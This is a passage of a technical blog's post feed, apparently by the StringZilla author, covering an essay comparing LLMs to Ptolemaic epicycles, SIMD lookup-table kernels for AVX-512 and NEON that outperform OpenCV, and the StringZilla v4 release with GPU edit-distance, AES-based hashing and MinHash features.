style=\"text-align: right\"\u003e128b 🤦‍♂️\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYes, SVE on Gravitons is tricky.\nMore on that later.\u003c/p\u003e","title":"2x Faster Hashes on AWS Graviton: NEON → SVE2"},{"content":"\nI\u0026rsquo;ve always been fascinated by AI and mega-projects — and as I work on AI infrastructure, you might assume I\u0026rsquo;m equally fascinated by the current LLM race.\nIn reality, I\u0026rsquo;m far more skeptical than most. While LLMs are undeniably useful, I\u0026rsquo;m not convinced \u0026ldquo;intelligence\u0026rdquo; is even the right scale to measure them against. The analogy I keep returning to comes not from computer science, but from astronomy: the story of epicycles.\nThe Epicycle Era Early astronomy began with the simplest model imaginable: planets move in perfect circles. If Earth is at the center, then the position of a planet could be described as\n$$ x(t) = R \\cos(\\omega t), \\quad y(t) = R \\sin(\\omega t), $$\nwhere $R$ is the radius and $\\omega$ the angular speed. This model had elegance — a single equation for perpetual motion. But when observations improved, the simplicity broke down: Mars would sometimes appear to move backward (retrograde motion), which pure circles could not explain.\nTo patch this, Claudius Ptolemy in 2nd-century AD introduced epicycles — circles riding atop circles. Instead of a single rotation, they stacked another:\n$$ x(t) = R \\cos(\\omega t) + r \\cos(\\Omega t), \\quad y(t) = R \\sin(\\omega t) + r \\sin(\\Omega t) $$\nwith a larger \u0026ldquo;deferent\u0026rdquo; of radius $R$ and a smaller \u0026ldquo;epicycle\u0026rdquo; of radius $r$. This worked remarkably well: by adjusting radii and frequencies, they could mimic retrograde loops. But every refinement required more parameters. Soon, astronomers were layering dozens of cycles, a fragile system that fit past data but had little explanatory depth.\nBy the late Middle Ages, the model had ballooned into an engineering feat of mathematics. It could predict eclipses and planetary positions with reasonable accuracy, but at the cost of baroque complexity — an early example of overfitting without understanding. The equations expanded into Fourier-like series:\n$$ x(t) = \\sum_i R_i \\cos(\\omega_i t + \\phi_i), \\quad y(t) = \\sum_i R_i \\sin(\\omega_i t + \\phi_i), $$\ncenturies before Joseph Fourier was even born. Here\u0026rsquo;s the remarkable thing: epicycles weren\u0026rsquo;t mathematically wrong — they\u0026rsquo;re literally Fourier series in disguise. Any periodic motion can be perfectly decomposed into circles upon circles, just as any function can be approximated by neural networks. Ptolemaic astronomers had discovered a universal approximator for celestial motion. What began as a single circle had turned into a patchwork of cycles-upon-cycles, accurate enough to guide calendars and navigation for over a millennium — yet blind to the real structure of the cosmos.\nCopernicus, Kepler, and Newton Nicolaus Copernicus (1473-1543) had moved the Sun to the center, but still clung to the ancient idea of uniform circular motion. To match observations, he still needed dozens of circles. Mercury — the most irregular of the visible planets — demanded seven or more components in the Ptolemaic model, and nearly as many in Copernicus\u0026rsquo;s reform. Each radius, frequency, and phase was a parameter to tweak by hand. Add enough circles, and Mercury\u0026rsquo;s loop-de-loops appeared on parchment — but there was no deeper understanding.\nJohannes Kepler (1571-1630) shattered this tradition in 1609. From Tycho Brahe\u0026rsquo;s observations, he saw that Mercury and Mars followed not circles, but ellipses with the Sun at one focus. Suddenly, the entire path could be expressed in two simple numbers: the semi-major axis $a$ and the eccentricity $e$. The radial distance at any angle $\\theta$ became:\n$$ r(\\theta) = \\frac{a(1 - e^2)}{1 + e \\cos \\theta}. $$\nFor Mercury, $e \\approx 0.206$. That one number explains its eccentric orbit and variable speed — no towers of epicycles required.\nIsaac Newton (1643-1727) compressed this even further in 1687. His law of gravitation,\n$$ F = G\\frac{m_1 m_2}{r^2}, $$\nshowed that Kepler\u0026rsquo;s ellipses were not arbitrary. They were the natural consequence of a single force law applying everywhere — Earth\u0026rsquo;s apple, the Moon\u0026rsquo;s orbit, Jupiter\u0026rsquo;s moons, and Mercury alike. What took dozens of adjustable circles in Ptolemy or Copernicus collapsed into two equations: one for the orbit, one for the force.\nNeural Networks and the Age of LLMs Three centuries later, we\u0026rsquo;re stacking again — but layers instead of circles. At their core, neural networks are functions built by stacking many simple transformations. The simplest feedforward layer is just a linear map followed by a nonlinearity:\n$$ h = \\sigma(Wx + b), $$\nwhere $x$ is the input vector, $W$ a weight matrix, $b$ a bias term, and $\\sigma$ a nonlinear activation like ReLU or sigmoid. By chaining many such layers, we approximate arbitrarily complex functions.\nTransformers — the backbone of modern LLMs — replace recurrence with attention, letting every token compare itself to every other token in the sequence. A single attention head computes something like:\n$$ \\text{Attention}(Q, K, V) = \\text{softmax}\\left(\\frac{QK^\\top}{\\sqrt{d_k}}\\right)V, $$\nwhere queries $Q$, keys $K$, and values $V$ are linear projections of the input embeddings. Stack dozens of layers, each with many heads, plus billions of parameters in the weight matrices, and you get models like GPT-4 or Claude, each with on the order of $10^{11}–10^{12}$ tunable numbers.\nThese systems work because, much like Ptolemaic astronomy, you can fit almost anything if you keep adding enough components. The more circles, the closer the match to planetary data; the more parameters, the closer the match to text statistics. Today\u0026rsquo;s LLMs are the epicycles of intelligence: extraordinarily useful for navigation through language, capable of producing predictive charts of our symbolic universe — but like their astronomical predecessors, perhaps working well without being fundamentally correct.\nIn astronomy, it took two orthogonal insights — Copernicus\u0026rsquo;s heliocentrism and Kepler\u0026rsquo;s ellipses — spread over seventy years to break free from epicycles, and another eighty for Newton to reveal the logic behind them. By analogy, we may still be in AI\u0026rsquo;s pre-Copernican era, using parameter-rich approximations that will eventually give way to a more compact and principled foundation.\nFoundations to Intelligence There\u0026rsquo;s no clear way to know if we\u0026rsquo;re on the wrong track. Science is littered with confident dead ends: phlogiston theory gave way to oxygen combustion, caloric fluid to kinetic heat, luminiferous aether to relativity. Each dominated textbooks and lecture halls until reality intervened.\nPerhaps intelligence itself is irreducibly complex — evolution doesn\u0026rsquo;t optimize for elegance, after all. But without knowing for certain, seeking deeper principles remains our best defense against drowning in parameters.\nIf the question is which parts of current AI might survive a paradigm shift, I\u0026rsquo;d bet on two primitives: memory and optimization. Memory — whether as RAG\u0026rsquo;s retrieval, attention\u0026rsquo;s associative lookup, or biological recall — is how intelligence grounds behavior in past experience. Optimization — whether as gradient descent or evolution — is how systems adapt to their environment. These aren\u0026rsquo;t architectural choices but fundamental requirements: intelligence without memory is reactive; intelligence without optimization is static. We\u0026rsquo;ve hardly cracked either, yet others see different primitives, like self-play, simulation, and causality. Perhaps we\u0026rsquo;re all Keplers staring at Mars from different angles, each waiting for our ellipse to appear.\nI jokingly call the LLM boom \u0026#39;the world\u0026#39;s largest lossy compression contest\u0026#39;, but there is a better historical metaphor keeping me awake: epicycles — astronomy\u0026#39;s brilliant wrong turnhttps://t.co/G30q1D9odi\n\u0026mdash; Ash Vardanian (@ashvardanian) October 2, 2025 ","permalink":"https://ashvardanian.com/posts/llm-epicycles/","summary":"\u003cp\u003e\u003cimg alt=\"Before AI\u0026rsquo;s Kepler Moment - Are LLMs the Epicycles of Intelligence?\" loading=\"lazy\" src=\"/llm-epicycles/LLM-Epicycles.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve always been fascinated by AI and mega-projects — and as \u003ca href=\"https://github.com/ashvardanian\"\u003eI work on AI infrastructure\u003c/a\u003e, you might assume I\u0026rsquo;m equally fascinated by the current LLM race.\u003c/p\u003e\n\u003cp\u003eIn reality, I\u0026rsquo;m far more skeptical than most.\nWhile LLMs are undeniably useful, I\u0026rsquo;m not convinced \u0026ldquo;intelligence\u0026rdquo; is even the right scale to measure them against.\nThe analogy I keep returning to comes not from computer science, but from astronomy: the story of \u003cem\u003eepicycles\u003c/em\u003e.\u003c/p\u003e","title":"Before AI's Kepler Moment - Are LLMs the Epicycles of Intelligence?"},{"content":"To my great surprise, one of the biggest current users of my StringZilla library in the Python ecosystem is one of the world\u0026rsquo;s most widely used Image Augmentation libraries - Albumentations with over 100 million downloads on PyPI, growing by 5 million every month. Last year, Albumentations swapped parts of OpenCV - the world\u0026rsquo;s most widely used image processing library with 32 million monthly downloads in Python - for my strings library 🤯\nThe reason for that surprising move? The quality of Look-Up Tables (LUTs) implementation in StringZilla.\nWhat are LUTs? A LUT is simply a 256-byte array where each byte value (0-255) maps to another byte value. In Python, you\u0026rsquo;d implement it naively like this:\n1 2 3 4 5 6 # Create a LUT for inverting pixel values lut = bytes(255 - i for i in range(256)) # Apply it to an image (slow way) for i in range(len(image)): image[i] = lut[image[i]] LUTs are everywhere in image processing: gamma correction, histogram equalization, color channel swapping, threshold operations. Here\u0026rsquo;s how you\u0026rsquo;d apply one in practice:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Create a gamma correction LUT import numpy as np gamma = 2.2 lut = np.array([((i / 255.0) ** (1.0 / gamma)) * 255 for i in range(256)]).astype(np.uint8) # Load an image \u0026amp; correct with OpenCV import cv2 image = cv2.imread(\u0026#39;photo.jpg\u0026#39;, cv2.IMREAD_GRAYSCALE) corrected = cv2.LUT(image, lut) # Do the same with StringZilla import stringzilla as sz corrected = sz.translate(image.tobytes(), bytes(lut)) I\u0026rsquo;ve implemented those in StringZilla for byte-level mappings, like a generic foundation for to_lower and to_upper string operations and translating biological alphabets, like ACGT to TGCA for DNA complements or to ${0,1,2,3}$ for efficient storage and processing.\nPerformance Comparison The newer your hardware - the bigger the performance gap compared to OpenCV, the industry standard for image processing. Running on server-grade Intel Sapphire Rapids and consumer-grade Apple M2 Pro CPUs, one may expect the following results:\nLibrary Intel Sapphire Rapids Apple M2 Pro Short Words Long Lines Short Words Long Lines \u0026nbsp; Rust 🦀 to[i] = lut[from[i]] 0.61 GiB/s 1.49 GiB/s 0.16 GiB/s 3.57 GiB/s stringzilla::lookup_inplace 0.54 GiB/s 9.90 GiB/s 0.19 GiB/s 9.38 GiB/s \u0026nbsp; Python 🐍 bytes.translate 0.05 GiB/s 1.92 GiB/s 0.08 GiB/s 2.52 GiB/s numpy.take 0.01 GiB/s 0.85 GiB/s 0.01 GiB/s 0.47 GiB/s opencv.LUT 0.01 GiB/s 1.95 GiB/s 0.01 GiB/s 1.60 GiB/s opencv.LUT inplace 0.01 GiB/s 2.16 GiB/s 0.02 GiB/s 1.97 GiB/s stringzilla.translate 0.07 GiB/s 7.92 GiB/s 0.07 GiB/s 7.49 GiB/s stringzilla.translate inplace 0.06 GiB/s 8.14 GiB/s 0.03 GiB/s 4.87 GiB/s Words are around 8.5 bytes long on average. Lines are typically around 4 KB long. The benchmarks show throughput in Gigabytes per second - higher is better.\nThe source of this gap? As with many performance wins I write about, it\u0026rsquo;s the clever use of SIMD instructions. SIMD (Single Instruction, Multiple Data) lets modern CPUs process multiple bytes in parallel—AVX-512 handles 64 bytes at once on Intel, while ARM NEON processes 16 bytes.\nLUTs on Intel Ice Lake and Newer For full code, refer to sz_lookup_ice in StringZilla\u0026rsquo;s source.\nOn Intel\u0026rsquo;s Ice Lake CPUs and newer, AVX512_VBMI (Vector Byte Manipulation Instructions) introduces several convenient instructions for LUTs. Most importantly, the VPERMB instruction, which can do 64 parallel byte lookups from a 64-byte table. For a 256-entry alphabet, we need 4 such lookups combined with several other instructions:\n4x _mm512_permutexvar_epi8 maps to VPERMB (ZMM, ZMM, ZMM): On Intel Ice Lake: 3 cycles latency, on port 5 On AMD Genoa: 6 cycles latency, on ports 1 and 2 3x _mm512_mask_blend_epi8 maps to VPBLENDMB_Z (ZMM, K, ZMM, ZMM): On Intel Ice Lake: 3 cycles latency, on ports 0 and 5 On AMD Genoa: 1 cycle latency, on ports 0, 1, 2, and 3 2x _mm512_test_epi8_mask maps to VPTESTMB (K, ZMM, ZMM): On Intel Ice Lake: 3 cycles latency, on port 5 On AMD Genoa: 4 cycles latency, on ports 0 and 1 Here\u0026rsquo;s how the algorithm works:\nLUT Partitioning: Split the 256-byte LUT into four 64-byte segments Bit Testing: Use the top 2 bits of each byte to determine which segment to use Parallel Lookups: Perform lookups in all four segments simultaneously Selective Blending: Use mask operations to mix parts of different segments Which roughly translates into this C code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 // Parallel lookups in all four LUT segments lookup_0_to_63_vec.zmm = _mm512_permutexvar_epi8(source_vec.zmm, lut_0_to_63_vec.zmm); lookup_64_to_127_vec.zmm = _mm512_permutexvar_epi8(source_vec.zmm, lut_64_to_127_vec.zmm); lookup_128_to_191_vec.zmm = _mm512_permutexvar_epi8(source_vec.zmm, lut_128_to_191_vec.zmm); lookup_192_to_255_vec.zmm = _mm512_permutexvar_epi8(source_vec.zmm, lut_192_to_255_vec.zmm); // Test bits to determine which segment to use first_bit_mask = _mm512_test_epi8_mask(source_vec.zmm, first_bit_vec.zmm); second_bit_mask = _mm512_test_epi8_mask(source_vec.zmm, second_bit_vec.zmm); // Hierarchical blending to select correct results blended_0_to_127_vec.zmm = _mm512_mask_blend_epi8(second_bit_mask, lookup_0_to_63_vec.zmm, lookup_64_to_127_vec.zmm); blended_128_to_255_vec.zmm = _mm512_mask_blend_epi8(second_bit_mask, lookup_128_to_191_vec.zmm, lookup_192_to_255_vec.zmm); blended_0_to_255_vec.zmm = _mm512_mask_blend_epi8(first_bit_mask, blended_0_to_127_vec.zmm, blended_128_to_255_vec.zmm); Optimizing for Small and Large Inputs For small inputs, the idea is simple - avoid the overhead of setting up AVX-512 state, and fall back to serial code. This also helps prevent CPU energy state transitions that can add latency.\nFor larger inputs, we want to ensure our main loop uses aligned stores to maximize throughput. Emphasis on \u0026ldquo;stores\u0026rdquo;-unaligned reads are rarely a bottleneck on modern CPUs:\n1 2 3 // Calculate head and tail lengths for alignment sz_size_t head_length = (64 - ((sz_size_t)target % 64)) % 64; sz_size_t tail_length = (sz_size_t)(target + length) % 64; This approach processes:\nHead: Unaligned portion at the beginning using masked operations Body: 64-byte aligned chunks using slightly faster aligned stores Tail: Remaining unaligned bytes at the end using masked operations Those masked operations are becoming the new norm, present both in x86 starting with Skylake, on Arm, starting with SVE, and even RISC-V with V extension.\nLUTs in Arm NEON For full code, refer to sz_lookup_neon in StringZilla\u0026rsquo;s source.\nARM\u0026rsquo;s NEON implementation is simpler than x86. NEON is ARM\u0026rsquo;s SIMD extension, available on virtually all modern ARM processors including Apple Silicon, Android phones, and AWS Graviton servers. We don\u0026rsquo;t have 512-bit registers on most Arm systems (except for the SVE-capable Fujitsu A64FX), but that\u0026rsquo;s not our target platform. Still, there is a logical abstraction for 4x 128-bit vectors, called uint8x16x4_t, which is perfect for our 256-byte LUT.\nA potential challenge with NEON is register pressure. AArch64 provides 32 vector registers of 128 bits each (only 512 bytes in total), while our algorithm uses:\n4x uint8x16x4_t or 16x uint8x16_t for LUT 4x source values, 3x masks, 3x intermediaries 3x blend registers So we fit within the 32-register limit anyway, but even if we didn\u0026rsquo;t-it wouldn\u0026rsquo;t be a big deal. The physical register file can be 10x larger than the architectural one, but that\u0026rsquo;s a topic for another post. Without overcomplicating things, the main body translation loop (excluding misaligned head and tail) is:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // Load 256-byte LUT into 16 NEON registers uint8x16x4_t lut_0_to_63_vec = vld1q_u8_x4(lut + 0); uint8x16x4_t lut_64_to_127_vec = vld1q_u8_x4(lut + 64); uint8x16x4_t lut_128_to_191_vec = vld1q_u8_x4(lut + 128); uint8x16x4_t lut_192_to_255_vec = vld1q_u8_x4(lut + 192); // Core lookup loop - 16 bytes per iteration source_vec.u8x16 = vld1q_u8(source); lookup_0_to_63_vec.u8x16 = vqtbl4q_u8(lut_0_to_63_vec, source_vec.u8x16); lookup_64_to_127_vec.u8x16 = vqtbl4q_u8(lut_64_to_127_vec, veorq_u8(source_vec.u8x16, vdupq_n_u8(0x40))); lookup_128_to_191_vec.u8x16 = vqtbl4q_u8(lut_128_to_191_vec, veorq_u8(source_vec.u8x16, vdupq_n_u8(0x80))); lookup_192_to_255_vec.u8x16 = vqtbl4q_u8(lut_192_to_255_vec, veorq_u8(source_vec.u8x16, vdupq_n_u8(0xc0))); // Combine results from all four lookups blended_0_to_255_vec.u8x16 = vorrq_u8( // vorrq_u8(lookup_0_to_63_vec.u8x16, lookup_64_to_127_vec.u8x16), vorrq_u8(lookup_128_to_191_vec.u8x16, lookup_192_to_255_vec.u8x16)); vst1q_u8((sz_u8_t *)target, blended_0_to_255_vec.u8x16); Daniel Lemire has discussed similar NEON LUT implementations, but the variations suggested in the comments don\u0026rsquo;t yield significant improvements over this approach.\nInstead of Conclusion Sometimes, when optimizing code, solutions come from unexpected places. A string library beating OpenCV at image processing is one such example.\nThese LUT kernels were integrated into Albumentations alongside other SIMD kernels from SimSIMD. Since then, StringZilla v4 has grown to include CUDA kernels for GPUs and SVE/SVE2 implementations for newer ARM processors. The same byte manipulation techniques now accelerate bioinformatics pipelines processing DNA sequences.\n4x speedups mean 4x less energy wasted and 4x more we can do with the same hardware. And if you find that useful, spread the word about StringZilla 🤗\nA string library beating OpenCV at image processing by 4x?!\nIt happened when @viglovikov integrated StringZilla into @albumentations (100M+ downloads) last year\nSometimes the best image processing solution... isn\u0026#39;t about images at all 😎https://t.co/bSLEcMEmz7\n\u0026mdash; Ash Vardanian (@ashvardanian) September 21, 2025 ","permalink":"https://ashvardanian.com/posts/image-processing-with-strings/","summary":"\u003cp\u003eTo my great surprise, one of the biggest current users of my \u003ca href=\"https://github.com/ashvardanian/StringZilla\"\u003eStringZilla\u003c/a\u003e library in the Python ecosystem is one of the world\u0026rsquo;s most widely used Image Augmentation libraries - \u003ca href=\"https://github.com/albumentations-team/albumentations\"\u003eAlbumentations\u003c/a\u003e with over 100 million downloads on PyPI, growing by 5 million every month.\nLast year, Albumentations swapped parts of OpenCV - the world\u0026rsquo;s most widely used image processing library with 32 million monthly downloads in Python - for my strings library 🤯\u003c/p\u003e","title":"How a String Library Beat OpenCV at Image Processing by 4x"},{"content":"\nI\u0026rsquo;ve just shipped StringZilla v4, the first CUDA-capable release of my SIMD-first string processing library. Which in English means that it is now fast not only on CPUs, but also on GPUs!\nI\u0026rsquo;ve wanted to add ROCm-acceleration for AMD GPUs 🤦‍♂️ I\u0026rsquo;ve wanted to include a parallel multi-pattern search algorithm 🤦‍♂️ I\u0026rsquo;ve wanted to publish it back in December 2024 🤦‍♂️ So not everything went to plan, but \u0026ldquo;StringZilla 4 CUDA\u0026rdquo; is finally here, bringing 500+ GigaCUPS of edit-distance calculations in a pip install-able package, and a few more tricks up its sleeve, aimed at large-scale Information Retrieval, Databases and Datalake systems, as well as Bioinformatics workloads. All under a permissive Apache 2.0 open-source license, free for commercial use. So in this post, we\u0026rsquo;ll cover some of the most interesting parts of this release, including:\nFast evaluation of dynamic-programming algorithms on GPUs, Hashing beyond CRC32, MurMurHash, xxHash, and aHash, and Fingerprinting biological sequences with 52-bit integers?! Background \u0026amp; Inspiration Historically, StringZilla started as conference talk material in the late 2010s, showcasing the power of AVX-512 and the intricacies of vectorizing non-data-parallel workloads (\u0026hellip; pretty much the opposite of my SimSIMD). Over the years, it expanded from a few substring search kernels into a beast competing with GLibC for the fastest memcpy (yes, I know it\u0026rsquo;s a popular claim). It later added support for little- \u0026amp; big-endian platforms; several generations of AVX-512 on x86, Arm NEON, SVE, and SVE2 extensions; dynamic dispatch; and first-party bindings for Python, Rust, JavaScript, and even Swift, translating the underlying C99 implementation.\nNow, StringZilla v4 adds even more functionality:\nYet another non-cryptographic hash function and string PRNGs on AES and other port-parallel SIMD instructions. New intersection and sorting algorithms for extensive collections of strings standard in DBMS JOINs and ORDER BYs. GPU- and CPU-accelerated string similarity kernels, covering Levenshtein distances, Needleman-Wunsch and Smith-Waterman scores with Gotoh\u0026rsquo;s extensions for \u0026ldquo;affine gaps\u0026rdquo;, needed in bioinformatics. GPU- and CPU-accelerated fingerprinting MinHashing kernels for large-scale Information Retrieval and deduplication. Depending on the chosen implementation and input data, these may be an order of magnitude faster than what you are using today. Not all of the new kernels are State-of-the-Art, as I partially demonstrate in my refactored StringWa.rs benchmarks repository — they\u0026rsquo;re solving a different problem: providing a reliable, fast, and easy-to-use baseline for large-scale workloads.\nTraditional String Similarity Measures Dynamic Programming and Levenshtein Evaluation Order If we look at the classic description of the Levenshtein distance computing methodology, it suggests incrementally populating an $N + 1$ by $M + 1$ matrix, where $N$ and $M$ are the lengths of the two strings being compared. The order in which we fill this matrix is crucial for the algorithm\u0026rsquo;s efficiency and correctness:\n$$ L_{i,j}=\\min\\left[ \\begin{array}{l} L_{i-1,j}+1, \\ L_{i,j-1}+1, \\ L_{i-1,j-1}+[x_i \\ne y_j] \\end{array} \\right] $$\n$$ L_{0,j}=j, L_{i,0}=i $$\nHere, $L_{i,j}$ represents the edit distance between the first $i$ characters of string $x$ and the first $j$ characters of string $y$. The three terms in the minimum represent deletion, insertion, and substitution costs respectively, where $[x_i \\ne y_j]$ equals 1 if characters differ and 0 if they match.\nIf we look up the Wikipedia article or the absolute majority of code-snippets they describe the Wagner-Fischer algorithm, filling that matrix top-to-bottom, left-to-right. More memory-efficient implementations suggest storing only 2 rows of the matrix at any time, significantly reducing the space complexity from $O(NM)$ to $O(\\min(N, M))$. That, however, does nothing to remove the sequential data dependency in the lower row - we can\u0026rsquo;t process $L_{i,j}$ without having computed all $L_{i,j-1}$.\nThe smarter way, when parallelizing such algorithms is to look into dependency chains that break vectorization potential. In the case of such string similarity measures, including Levenshtein distance, it\u0026rsquo;s simple - evaluate diagonals instead of rows! We\u0026rsquo;ll store 3 diagonals instead of the 2 rows, and each consecutive diagonal will be computed from the previous two. Substitution costs will come from the sooner diagonal, while insertion and deletion costs will come from the later diagonal.\nRow-by-Row Algorithm\nComputing row 4: ∅ A B C D E ∅ 0 1 2 3 4 5 P 1 ░ ░ ░ ░ ░ Q 2 ■ ■ ■ ■ ■ R 3 ■ ■ □ → . S 4 . . . . . T 5 . . . . . Anti-Diagonal Algorithm\nComputing diagonal 5: ∅ A B C D E ∅ 0 1 2 3 4 5 P 1 ░ ░ ■ ■ □ Q 2 ░ ■ ■ □ ↘ R 3 ■ ■ □ ↘ . S 4 ■ □ ↘ . . T 5 □ ↘ . . . Legend:\n0,1,2,3... = initialization constants \u0026nbsp;\u0026nbsp; ░ = cells processed and forgotten \u0026nbsp;\u0026nbsp; ■ = stored cells \u0026nbsp;\u0026nbsp; □ = computing in parallel \u0026nbsp;\u0026nbsp; → ↘ = movement direction \u0026nbsp;\u0026nbsp; . = cells to compute later Did it help? Performance of such algorithms is measured in Cell Updates Per Second, or CUPS. Comparing ≅ 1'000-byte strings resulted in:\nrapidfuzz::levenshtein: 14'316 MCUPS on an Intel Sapphire Rapids core, stringzillas::LevenshteinDistances: 13'084 MCUPS on the same 1 core, stringzillas::LevenshteinDistances: 624'730 MCUPS on an Nvidia H100 GPU. NLTK, one of Pythons\u0026rsquo; historically most used libraries with over 1 Billion downloads, yields around ≅ 2 MCUPS. RapidFuzz, wrapped into Python, of course performs much better, but most still loses some throughput in the binding layer. StringZilla C to Python bindings are some of the thinnest on GitHub, so the degradation is minimal compared to other packages, including Nvidia\u0026rsquo;s own CuDF. Even after pre-constructing the cudf.Series objects, the performance for different string lengths in MCUPS looks like this:\nLibrary ≅ 100 bytes ≅ 1'000 bytes ≅ 10'000 bytes cudf.edit_distance 🐍 24'754 6'976 1'447 stringzillas.LevenshteinDistances 🐍 18'081 320'109 157'968 stringzillas::LevenshteinDistances 🦀 20'780 624'730 173'160 🐍 denotes Python bindings, 🦀 denotes Rust.\nCuDF calls nvtext::levenshtein under the hood. It works well on collections of small inputs, but not larger ones. Most likely, it doesn\u0026rsquo;t distribute large inputs across the GPU cores as aggressively as StringZilla does. End result?\n46x performance improvement on ≅ 1'000-byte strings. 109x performance improvement on ≅ 10'000-byte strings. To be fair, cudf is not exactly a string-similarity library, and there is a separate commercial offering from Nvidia called Clara Parabricks that probably does better. Still, 109x over CuDF is a good start and will be a perfect foundation for future improvements!\nSubstitution Costs and Affine Gap Penalties In Bioinformatics, Levenshtein distance is used to compare DNA strings. Character insertions and deletions in string pairs signal physical breaks in really long molecules. The presence of those gaps is a bigger factor than the inferred length of the gap, so those are scored differently - using \u0026ldquo;affine gap penalties\u0026rdquo;. It\u0026rsquo;s not enough to store 1 matrix anymore, we need to store 3 matrices, including 2 new ones to differentiate gap extension and openings.\nSimilarly, Needleman-Wunsch score generalizes the Levenshtein distance to handle variable substitution costs. That\u0026rsquo;s handy when dealing with protein sequences. Those are represented as strings over a much smaller alphabet of 20 amino acids: ACDEFGHIKLMNPQRSTVWY. So one needs to store a 20x20 substitution matrix, or a larger one if we want to include ambiguous amino acids.\nOn the bright side, StringZilla already uses Nvidia\u0026rsquo;s DP4A and DPX instructions for SIMD processing of small integers in such dynamic programming workloads. On the other side, StringZilla\u0026rsquo;s current implementation mistakenly uses constant memory to store the substitution matrix, which is a bottleneck and will be improved in the future. Still, the results are not too bad compared to other pip install-able solutions. On ≅ 1000-long amino-acid sequences, we get:\nbiopython achieving ≅ 303 MCUPS, stringzillas-cpus achieving ≅ 276 MCUPS, stringzillas-cuda achieving ≅ 10'098 MCUPS. Two More Hash Functions?! Design Goals There are a lot of hash functions around! Some of them are really-really good!\nThe XXH3 by Yann Collet, for example, is a remarkable production-ready codebase in which even very experienced developers may find something new. MurMurHash is a classic, released by Austin Appleby in 2008 together with the SMHasher framework. There is also a very well crafted ahash package for Rust by Tom Kaitchuck, popularizing AES instructions, also previously suggested in AquaHash by J. Andrew Rogers. Overall, I wanted a hash function that:\nIs fast for both short (velocity) and long strings (throughput). Supports incremental (streaming) hashing, when the data arrives in chunks. Supports custom seeds for hashes and have it affecting every bit of the output. Provides dynamic-dispatch for different architectures to simplify deployment. Uses not just AVX2 \u0026amp; NEON SIMD, but also masked AVX-512 \u0026amp; predicated SVE2. Documents its logic and produces the same output across different platforms. Outputs 64-bit or 128-bit hashes and passes the SMHasher --extra tests. AES and Port-Parallelism Recipe Using AES instructions for hashing is not a new idea, but it makes a lot of sense. Just look at the amount of signal mixing that happens in a single round of AES:\nIn every iteration, AES performs four operations on a $4*4=16$ byte-matrix:\nSubBytes - a non-linear substitution step where each byte is mapped to another. ShiftRows – a transposition where the last three rows are shifted cyclically. MixColumns – a linear mixing operation that operates on the columns of the state. AddRoundKey – a simple XOR operation with a round key. In the second step, we mix bytes between consecutive 32-bit words of the state. In the third step, we mix bytes within a single 32-bit word. And the rest of the logic applies to the entire 128-bit matrix. Great instructions for mixing, but not the cheapest ones:\nVAESENC (ZMM, ZMM, ZMM) and VAESDEC (ZMM, ZMM, ZMM): on Intel Ice Lake: 5 cycles on port 0. On AMD Zen4: 4 cycles on ports 0 or 1. As it often happens with integer workloads on Intel, a SIMD instruction is always routed to just one execution port, often port 0 or 5. AES routes to 0, so to mix more data in parallel we need to combine it with cheap instructions mapping to other ports, like:\nVPSHUFB_Z (ZMM, K, ZMM, ZMM) on Intel Ice Lake: 3 cycles on port 5. On AMD Zen4: 2 cycles on ports 1 or 2. VPADDQ (ZMM, ZMM, ZMM): on Intel Ice Lake: 1 cycle on ports 0 or 5. On AMD Zen4: 1 cycle on ports 0, 1, 2, 3. That\u0026rsquo;s a solid recipe, and is ideologically close to ahash, but with a few twists:\nA larger state and a larger block size is used for inputs longer than 64 bytes, benefiting from wider registers on current CPUs. Like many other hash functions, the state is initialized with the seed and a set of Pi constants. Unlike others, we pull more Pi bits (1024), but only 64-bits of the seed, to keep the API sane. The length of the input is not mixed into the AES block at the start to allow incremental construction, when the final length is not known in advance. The vector-loads are not interleaved, meaning that each byte of input has exactly the same weight in the hash. On the implementation side it requires some extra shuffling on older platforms, but on newer platforms it can be done with \u0026ldquo;masked\u0026rdquo; loads in AVX-512 and \u0026ldquo;predicated\u0026rdquo; instructions in SVE2. Fun fact: AES instructions on x86 and Arm do slightly different things, but once you compensate for that, the performance is still great. Running StringWa.rs on an Intel Sapphire Rapids core, we get:\nLibrary Bits Ports ¹ Short Words Long Lines std::hash 64 ❌ 0.43 GiB/s 3.74 GiB/s crc32fast::hash 32 ✅ 0.49 GiB/s 8.45 GiB/s xxh3::xxh3_64 64 ✅ 1.08 GiB/s 9.48 GiB/s aHash::hash_one 64 ❌ 1.23 GiB/s 8.61 GiB/s gxhash::gxhash64 64 ❌ 2.68 GiB/s 9.19 GiB/s stringzilla::hash 64 ✅ 1.84 GiB/s 11.23 GiB/s ¹ Portability means availability in multiple other programming languages, like C, C++, Python, Java, Go, JavaScript, etc.\nGenerating Random Strings The same hashing AES primitives can easily be used for high-throughput generation of random strings at speeds far exceeding what std::random_device and std::mt19937 can do. That\u0026rsquo;s typically achieved in one of 3 different modes:\nCTR (Counter Mode) OFB (Output Feedback Mode) CFB (Cipher Feedback Mode) The first is easily parallelizable, which can be handy if we want to scramble all RAM on our machine, so the choice was clear. But it\u0026rsquo;s still tricky if every nano-second counts.\nThe reason why some of the StringZilla logic exceeds memcpy speeds, is the use of non-temporal stores, which bypass the CPU caches and write data directly to RAM. This reduces cache pollution and improves energy-efficiency on IO-heavy workloads. So for PRNGs it makes a lot of sense, but the extra complexity of handling misaligned writes wasn\u0026rsquo;t worth it, if you want to keep the PRNG seed-able and reproducible! Even without those tricks, the results are impressive, compared to other Rusty options:\nLibrary ≅ 100 bytes lines ≅ 1000 bytes lines getrandom::fill 0.18 GiB/s 0.40 GiB/s rand_chacha::ChaCha20Rng 0.62 GiB/s 1.72 GiB/s rand_xoshiro::Xoshiro128Plus 2.66 GiB/s 3.72 GiB/s zeroize::zeroize 4.62 GiB/s 4.35 GiB/s sz::fill_random 17.30 GiB/s 10.57 GiB/s 52-bit Math for Bioinformatics?! There is, however, a kind of hashing where I still avoid AES primitives in favor of modulo integer arithmetic, but with a twist!\nUSearch, my search engine, uses 40-bit integers to identify entries - a non-standard size chosen to balance memory efficiency with a large enough address space to fit 1 trillion of vectors on 1 machine. Continuing the trend of obscure integer sizes, StringZilla v4 uses 52-bit integers to compute MinHashes, or \u0026ldquo;Min-wise independent permutations Locality Sensitive 